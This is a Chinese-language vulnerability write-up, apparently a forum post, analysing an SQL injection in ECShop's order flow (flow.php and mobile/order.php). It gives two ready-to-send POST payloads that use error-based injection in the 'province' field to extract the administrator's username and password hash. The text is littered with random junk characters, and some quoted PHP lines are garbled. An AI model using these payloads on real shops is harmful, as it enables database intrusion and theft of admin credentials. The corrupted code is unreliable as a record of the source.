ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
3 A/ L/ Q5 e/ h3 N6 U
    漏洞关键文件：
% s# f7 V# ~. m9 i, U% x( w# Z
    /includes/lib_order.php

% B7 {3 q7 ]  X    关键函数：
6 U" N) }4 U, j* |  X5 a
7 e* I/ P2 l. x! a1 e% y

01     function available_shipping_list($region_id_list)
' I& M6 J0 p/ T( ]; H( Y
6 O. |, L# h* h6 S$ q/ Z02 {

03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
1 ~3 P  F' b8 g4 t! H
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

2 ?: ]! ~, q/ _) \0 |* G$ \05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
+ x, }8 O' J7 J) v: b9 o$ s. U% F
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

/ b. Y# R. T; P: K) b- L9 k8 A4 Y* w! y08             'WHERE r.region_id ' . db_create_in($region_id_list) .

" P' ~9 D9 v: d( \09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
# L5 {% U! H4 r$ E& X5 Y" R
* |+ u+ a& e. H! R# N- _3 b5 N10   

% z& v0 J* e/ w8 ~11     return $GLOBALS['db']->getAll($sql);
& W, E2 y0 ]$ C& K: H1 ?1 N0 @- F  ^
. f( @- k$ E3 I* {$ C, R% ]9 F# s12 }

显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
第531行：   
+ W( A( ^6 W8 }1 v9 ^
- i) ]2 `% P! J3 C3 H" y1 $shipping_list     = available_shipping_list($region);
# h) H" e% J7 W


, V# h" j2 y9 c- k) q

再对传入变量进行追踪：
5 {2 R5 g9 p: Q/ D
0 w5 h& M( O; l! {) z7 Y第530行：   

" D$ K, j8 n. m3 L1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
/ c8 i  u8 E( V


6 i9 D  p# x6 s

第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);
4 N. x3 Q2 t; Q4 a+ \" W# |
到了一个关键函数：

& e! U: {2 Z9 m9 J/includes/lib_order.php
! O. ]& y% H. u" f8 Z' \5 [+ D! k& b

+ j: \, q9 p& G1 I4 |
+ S# ^) R0 A& k

( W5 T( ]) y+ m; t/ Q- S01 function get_consignee($user_id)

. z* C# v! r5 _/ H0 ^" o! F, [, o3 A02 {

03     if (isset($_SESSION['flow_consignee']))
2 b5 r0 y0 u/ p" w7 o. ?
7 |; k+ j  T- X5 i8 |  z" K# p04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */

06   

# T* Y- M: A4 m4 @9 m5 J4 D07         return $_SESSION['flow_consignee'];

; ^' p8 b5 T1 b0 g08     }

09     else

10     {
# G) v) x; v3 s  y% u: Q5 {
5 ]9 V- L1 A3 e# Y2 Q11         /* 如果不存在，则取得用户的默认收货人信息 */
$ V  h  X+ l4 S! r6 D- t; V+ @. |4 R
* Z7 f  P1 ~- C7 A12         $arr = array();

  B' `$ X; d+ P( y+ n13   
  }/ o+ [; y* L2 w$ \$ p1 U: |3 i
14         if ($user_id > 0)

8 A! H+ `& N0 ]! F9 B% i& J% ]15         {

, I7 O4 B  k8 G" h$ L5 N/ y16             /* 取默认地址 */
- L+ }- {$ v% l3 v, k& [
7 Y* A7 L  u2 l3 N# z; d) \! `17             $sql = "SELECT ua.*".

! m6 L! i" }+ v% a1 S8 Z6 l) F" K' l18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
7 b# n+ n' B5 ]+ Z
$ _6 t; {* Y# L9 R19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   

21             $arr = $GLOBALS['db']->getRow($sql);
( i8 r2 o9 j& A3 I
22         }
* }# M* J) B+ f0 o6 M% b9 P' P9 @
9 M' \* H6 a3 S8 Y; A23   
) W7 k7 f* d3 m% G+ ^% \% x% z
24         return $arr;
' U1 [  m, a9 |6 V
3 T3 w( n% s6 k% V+ z0 w25     }

26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？



: x8 U' L. X5 ^; D关键点:

5 J" d& A* a+ n0 Y第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。
4 Z4 Q; m1 }8 z1 `

. A& c0 I8 ?" D# y4 y. ^. j5 }) v2 ^  n
" |+ T7 m+ \/ y; T, Z然后看下：
* w  \/ k) K" d. ?8 K" Y* P5 f


$ i3 R, a, ~% u' e   
) ?8 o3 g* A- P3 D' @
01 $consignee = array(
# u. B8 j% _7 p4 |, t4 C+ o0 c
7 B& s% Q4 s. {8 B/ A8 u$ K: {( q02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

7 w) U- F6 _) e$ D4 O03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
" q% b, K& X' G+ u$ o7 v1 u. o
7 \5 y1 h% b2 x4 _% _04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
! P' K* P* v% [
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
/ |! n* P+ j9 X% E  w: C
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
. Y+ {1 h1 O; J' C7 ]* D
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
8 @1 N$ ~& T. q8 \' S  T6 }
0 z+ Z  b, E$ @: s2 y+ N11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

; h( O. o& s& X# u13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

5 l1 n, d, ]+ D% x8 g. |3 @14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );

好了注入就这样出现了。
0 k' a6 h6 c  Z8 Q: r* u. M
==================
6 |7 ~- L0 |4 \' `: d: R
; n/ |" }9 f. i5 P! D' z注入测试：
$ R# W% S& D/ D9 w% g5 ~2 z8 P
. c! J& X  S1 t! D环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

! ?( Q& |: q! Q+ u# _4 r+ ]测试程序：ECShop_V2.7.3_UTF8_release1106



3 _: _0 f( |: q# K4 E1.首先需要点击一个商品加入购物车
; K0 R. n$ W! Y' L
7 h$ Q- [8 x# {+ A( G2.注册一个会员帐号

5 [8 Q3 N5 M# B3.post提交数据
9 {8 Y7 V" N9 I, L/ E% \* D# x


% }- N7 j# d2 k+ j" N1 http://127.0.0.1/ecshop/flow.php

- V% {9 U0 P  D! o# _2   
5 Z+ e* j3 y2 Y6 h( M
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
( @/ n) k+ o  q举一反三，我们根据这个漏洞我们可以继续深入挖掘：
: O, A- [  n# [8 A0 l
我们搜寻关键函数function available_shipping_list()
0 H2 z$ M9 m- }" T$ Q: ?
$ b9 e' ~5 m3 d! I# e. I) E在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
( E8 V; f% X# Z$ P) T* }
. X0 U( X) O5 p0 u! P+ z5 J利用exp:

1.点击一个商品，点击购买商标

2.登录会员帐号

9 W- O$ S2 Q2 g) K3 R  r& m* ~3.post提交：

" L" V$ }3 s. |, P; l' Dhttp://127.0.0.1/ecshop/mobile/order.php

- S, g  l# q7 h) h; N+ k+ p
+ r+ \5 @$ \% o- ^4 }
  f( a$ f! S# ]# s1 |country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

0 {5 w' u9 [! L' l# Z8 ~! N